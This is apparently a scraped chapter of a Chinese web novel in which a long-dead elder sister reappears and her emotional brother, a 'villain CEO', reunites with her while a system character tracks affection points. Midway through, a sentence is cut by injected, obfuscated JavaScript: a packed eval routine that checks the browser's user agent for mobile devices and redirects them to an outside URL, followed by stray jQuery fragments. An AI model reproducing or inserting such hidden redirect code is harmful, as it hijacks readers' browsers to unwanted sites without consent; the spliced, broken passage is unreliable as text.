chapter11
谢无漾看着谢昭月吃鸡蛋面,痞帅的脸上带着几分自己都察觉不到的慈爱。
如果保姆阿姨在的话,会发现他此刻看谢昭月的眼神,和看小猪的眼神一模一样。
谢无漾是个眼里有活的好弟弟,虽然他不知道眼前被他叫做亲戚的人是他去世十年的亲姐姐,但血脉的力量是强大的。
姐姐,永远是姐姐。
弟弟,永远是姐姐的弟弟。
谢无漾主观没感受到血脉压制的力量,身体本能行动了。
谢昭月吃完一碗,他主动续上面。
谢昭月渴了,他主动倒水。
谢昭月吃饱了,他主动递纸巾。
“亲戚,要再来点吗?”
不知道为什么,看着亲戚吃东西,谢无漾心底涌起莫名其妙的满足感和幸福感,总觉得这个温暖的场景发生过无数次。
谢昭月把面汤都喝完了,自然接过谢无漾递过来的纸巾。
“我吃饱了,多谢款待。”
谢昭月起身收拾,被谢无漾阻止了,他行动更快:“我来收拾就好。”
亲戚的手白皙纤细,细皮嫩肉的,一看就不是干活的料。
想起烧黑的锅,谢无漾觉得自己干活更好,反正他闲着也是闲着。
谢无漾逻辑自洽,行动力max。
他把碗筷和锅都放进了洗碗机里,挑眉道:“机器解放双手。”
“亲戚,你帮我搅拌一下小猪的早餐。”
谢无漾给谢昭月安排了一个简单的任务,以防她不自在。
他没有察觉到,自己有意无意开始在意和关照谢昭月的感受了。
小猪的早餐很丰盛,和鸡蛋面同一个时间开始煮的,谢无漾煮熟后盛出来放岛台上晾凉。
谢昭月只需要拿着大勺搅拌一下。
一锅出的黄绿色食物看起来像是女巫的毒药,卖相不好看,但闻起来味道不错,南瓜香气、绿草芬芳、米糊糊的味道杂糅在一起,霸道且好闻。
室内很安静,麻雀在院子里叽叽喳喳,风吹树叶发出簌簌的声音。
谢昭月的心也安静下来。
叮咚——
门铃声打破了温馨日常的氛围,谢无漾从厨房里走出来,他走到门口,还没按下开门按钮,白色洋房的院门被人打开了。
一阵风儿吹过,房子大门也被输入密码从外打开了,来人裹挟着春天和思念的气息。
“大哥,你……”
“你怎么知道这里的密码?”
谢无漾以为是保姆阿姨回来了,没想到是大哥。
他疑惑着,眨眼被眼前像是红眼流浪汉的大哥吓了一大跳。
在谢无漾印象里,大哥谢淮年总是沉稳矜贵、运筹帷幄、游刃有余的,而不是像眼前这样慌乱急切,怪让人担心的。
“大哥,你这是被人揍了吗?”
谢无漾先是担忧,后是愤怒:“谁敢打你?你告诉我,我去揍回去。”
“我谢无漾的拳头贼硬。”谢无漾朝着空气挥舞了两拳,想要验证自己的话。
他做梦都想揍大哥,当然现实中也发出过挑战,都被打得找不着北。
半年时间,谢无漾进步了,他绝对不能让大哥被外人欺负了。
就算要被揍,大哥也只能被他和二哥揍。
谢无漾清澈的大脑再次运作,试图分析是谁打了大哥,甚至想联系遥远的二哥一起报仇。
谢淮年咳嗽了两声,稍微缓了一下呼吸。
他没有回答谢无漾的话,而是开口问道。
“她在哪里?”
“你守住他了,对吗?”
谢淮年的声音沙哑难听,像是从喉咙里挤出来的。
谢无漾还没从流浪汉中震惊缓过来,又被他破锣嗓子吓了一大跳。
“亲戚在家呢。”
“大哥我错了,你别吓我啊。”
谢淮年在他开口前,从门口的女鞋知道了答案,他推开谢无漾大步往里走。
“嘶~”
谢无漾揉着隐隐作痛的肩膀,这么大力气看来是没事了。
他吐槽着,正要跟在谢淮年的身后往里走,2.0超绝视力看到了球鞋上和玄关处的脚印。
“大哥,你去开荒了吗?”
谢无漾咬牙切齿,强迫症和洁癖不允许他视而不见。
他又朝着空气挥了两拳,认命地抽出放置在玄关处的湿纸巾,蹲下来擦自己的宝贝球鞋和地面上的脚印。
被三弟隔空揍了两拳的谢淮年什么都听不见了,他脑子里只有一个念头——见到姐姐,抓住姐姐……
他绝对绝对绝对不会让姐姐再消失在自己的面前。
谢淮年抱着这样的决心,转角看到了最讨厌、最想念的那个人。
谢昭月穿着白色套头家居服和灰色长裤,宽大的衣服将她瘦削的身躯笼罩住,她站在逆光处,头发丝都在发着光,像是小时候跟他讲的小美人鱼的故事,下一秒就会化成泡沫消失了。
谢淮年跑到了她的身前站定,伸出手想要触碰,却又悬在半空中,指尖颤抖着,带动着整个手臂都在发颤。
明明不顾一切赶回来,疼痛、狂风暴雨、飞机延迟、堵车、车坏了……谢淮年跑了五公里,用尽一切力量跑过来的。
再快一点、再快一点、再快一点。
谢淮年不觉得累,只觉得自己不够快。
如果当初跑得更快一点,是不是……
谢淮年像是回到了十八岁生日那一天,也是失去姐姐的那一天。
这十年里,谢淮年一直在梦中奔跑,一直奔跑,企图追上时间,企图回到过去,企图拉住姐姐的手……
如果那一天他执意去接姐姐,如果那一天在家过生日,如果……可惜没有如果。
这一次,他跑到了姐姐的面前。
屋外狂风骤雨,谢淮年的心脏剧烈颤抖着,嘴唇也在微微发颤,黑色瞳孔卷起暴烈的龙卷风,昭示着他并不平静的内心。
谢昭月鲜活地站在他的面前,他却不敢再往前一步。
在商场上叱咤风雨、手段狠厉,原书中邪魅狂狷、疯批进狱系霸总,此时此刻他在害怕。
他害怕一切都是假的,害怕泡沫触手即破。
谢淮年呼吸声很重,身上带着雨季的潮湿。
有人说,亲人的离开是一场漫长的雨季,它是阵痛过后,会反复出现在你人生的某些时刻隐痛,也许是看到她留下的遗物,也许是一句寻常的话,也许是熟悉的外号,也许是吃到了她喜欢的食物……某个小小的细节,轻而易举地唤醒回忆和思念。
谢淮年讨厌下雨天,讨厌潮湿,讨厌没有爸爸妈妈的下雨天,讨厌没有姐姐的下雨天。
爸爸妈妈说昭月的名字寓意是太阳和月亮,她是带着爸爸妈妈所有爱意出生的小天使,是人世间一切美好的化身。
昭月对于爸爸妈妈来说,就像是太阳和月亮对生命的不可或缺。
后来,爸爸妈妈意外离世。
在爸爸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482098|201806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈妈的葬礼上,谢淮年和弟弟妹妹们被如太阳和月亮一样温暖强大的姐姐保护在身后,她冷着脸应付着虚情假意、豺狼虎豹的大人们。
谢昭月的手在抖,谢淮年握住了姐姐的手。
谢淮年永远站在谢昭月这一边,她们流淌着相同的血液,是最紧密也是最亲密的同盟。
这样亲密的同盟,她们有五个人……还有谢六妹这只胖狗。
姐姐带着婴儿肥的脸颊不知道什么时候没有了,那双总是含笑的眼睛越发坚定,带着狠劲儿和决绝。
姐姐说爸爸妈妈没有真正离开,只是以另外一种形式陪伴在她们的身边,也许是吹拂在脸颊的微风,也许是掉落的花瓣,也许是黑夜明亮的小星星,也许是春日午后落在身上的阳光……
她们想爸爸妈妈的时候,也是爸爸妈妈陪在她们身边的时候,只是她们看不见。
“那什么时候能看见呢?”谢白焰懵懵懂懂,天真地问着姐姐。
“嗯,等到我们走完这一生,爸爸妈妈会来接我们。”
“一生有多长?”谢白焰不懂,他现在就很想躺在爸爸妈妈的怀里。
姐姐和谢淮年同时红了眼眶,一想到这冗长的一生再也无法和爸爸妈妈相见,再也无法忍住哽咽声。
五个小孩哭成了一团,她们哭了好久。
像是印证谢昭月刚才说的话,徐徐微风吹了过来,拂过孩子们脸颊上的泪珠。
“大伯大伯母,爸爸妈妈都来了。”
“嗯。”
“别怕,姐姐会一直陪着你们的。”十八岁的谢昭月温柔地摸着四只小比格的脑袋。
一只毛绒绒的狗头凑了过来,舔了舔谢昭月的手心。
“当然不会忘了我们小胖墩六妹。”
……
姐姐骗人。
十八年前,雨天带走了爸爸妈妈。
十四年前,雨天带走了姐姐。
雨季再次来临,谢淮年逆着狂风暴雨跑来,这一次他追上了命运。
这次下雨天,带来了他死而复生的骗子姐姐。
二十八岁的谢淮年,和二十二岁的骗子姐姐重逢了。
骗子,姐姐是个大骗子。
谢淮年无数次流着眼泪控诉,无数次说着讨厌姐姐,无数次说着想念姐姐,无数次午夜梦回泪水沾湿了枕巾……
无数次,无数次,无数次的想念。
姐姐,爸爸妈妈来接你了吗?
姐姐,我好想你。
姐姐姐姐姐姐……我有好多话好多话想要和你说。
568看着眼前情绪极其不稳定的红眼霸总,心里直发毛,按照这位睚眦必报、冷清冷心的性格,好感度不会降到负一万吧。
去世十年的姐姐,真的能打动这位看起来随时要发疯的大反派吗?
568的自信心骤降,完蛋了……谢昭月会被只手遮天的大反派囚禁吧?
我也会跟着完蛋!!!
568估算着剩余能量,机械音有些颤抖:“宿主,要不我们逃吧?”
逃得青山在,不怕没柴烧。
话音刚落,568听到了疯批霸总沙哑的哽咽声。
谢淮年红着眼眶:“姐姐,你疼不疼啊?”
谢昭月抱住了摇摇欲坠的弟弟:“不疼。”
“谢年糕,你怎么还是这么爱哭呀?”
[谢淮年好感度100,攻略进度99%]
谢无漾看到这一幕,瞳孔地震。
这一次,他“炸”了。